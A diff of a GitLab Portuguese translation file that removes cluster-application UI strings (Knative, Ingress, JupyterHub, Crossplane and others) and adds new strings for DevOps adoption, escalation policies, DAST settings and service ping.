-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} desinstalado com sucesso."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} atualizado com sucesso."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr "Adicionar uma integração compartilhará o cluster em todos os projetos
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Todos os dados serão apagados e não podem ser restaurados."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Quaisquer pipelines em execução serão cancelados."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Aplicar crédito"
@@ -7030,15 +7033,6 @@ msgstr "Domínio base"
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Gestor de Certificados"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Pacote de Autoridade de Certificados (formato PEM)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Escolhe qual dos teus ambientes usarás este cluster."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "O nome do cluster é obrigatório."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr " Copiar URL da API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Copiar Certificado CA"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Copiar o nome do cluster de Kubernetes"
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr "Sabias que?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "Ativar ou desativar a conexão do GitLab com o teu cluster de Kubernetes
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Ativar esta definição, se ao usar o controlo de acesso baseado em funções (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr "A buscar projetos"
msgid "ClusterIntegration|Fetching zones"
msgstr "A buscar zonas"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "Executador do GitLab"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "O Executador do GitLab conecta-se ao repositório e executa os trabalhos CI/CD, ao empurrar os resultados para trás e implementar aplicações para produção."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Cluster de grupo"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Se estás a configurar múltiplos clusters e estás a usar o Auto DevOps, %{help_link_start}lê isto primeiro%{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ponto Final do Ingress"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress dá-te uma maneira de encaminhar pedidos de serviços com base no pedido do administrador ou o caminho, a centralização de diversos serviços num único ponto de entrada."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "Cluster de instância"
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "Email do emissor"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Nome de administrador do Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "O JupyterHub, um hub multi-utilizador, gera, gerência e faz proxy de várias instâncias do servidor de notebook Jupyter de utilizador único. O JupyterHub pode ser usado para servir notebooks para uma classe de alunos, um grupo de ciência de dados corporativos ou um grupo de pesquisa científica."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Nome de Domínio Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Ponto Final do Knative:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "O nome de domínio do Knative foi atualizado com sucesso."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative estende o Kubernetes para fornecer um conjunto de componentes de middleware que são essenciais para construir modernas, centrado na origem, aplicações baseadas em contentor que podem ser executados em qualquer lugar: no local, na nuvem, ou até mesmo num terceiro centro de dados."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr "Aprende mais sobre os clusters do Kubernetes de grupo"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Aprende mais sobre a instância de clusters do Kubernetes"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Por favor, certifica-te de que a tua conta Google cumpre com os seguintes requisitos:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "Aponta um DNS curinga para este nó de extremidade gerado para acessares a tua aplicação após ele ter sido implementado."
-
msgid "ClusterIntegration|Project cluster"
msgstr "Cluster do projeto"
@@ -7516,15 +7411,6 @@ msgstr "Espaço de nomes do projeto (opcional, único)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr "Remover este cluster do Kubernetes de configuração a partir deste proj
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Substituir isto com o teu próprio nome de anfitrião, se o quiseres. Se o fizeres, aponta o nome de anfitrião ao Endereço IP do Ingress a partir de cima."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Falha no pedido para iniciar a instalação"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "Falha no pedido para iniciar a desinstalação"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr "Guardar alterações"
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "Selecionar tipo de máquina"
@@ -7675,9 +7534,6 @@ msgstr "Selecionar zona"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Seleciona a zona para escolher o tipo de máquina"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de Serviço"
@@ -7696,27 +7552,12 @@ msgstr "Ocorreu um erro do nosso lado."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Ocorreu um erro ao instalar %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "Ocorreu um erro ao desinstalar %{title}"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Ocorreu um erro ao atualizar o nome do domínio Knative."
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr "O certificado Kubernetes usado para autenticar no cluster."
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "A URL usada para acessar a API Kubernetes."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "O balanceador de carga associado e o IP serão apagados e não podem ser restaurados."
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "O endereço IP está em processo de atribuição. Verifica o teu cluster ou cotas do Kubernetes no Google Kubernetes Engine se demorar muito."
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "Para acessar a aplicação após a implantação, a ponto de um caractere especial de DNS para o Ponto Final do Knative."
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "Desinstalar %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "Atualização falhou. Por favor, verifica os registos e tenta novamente."
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acesso ao Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
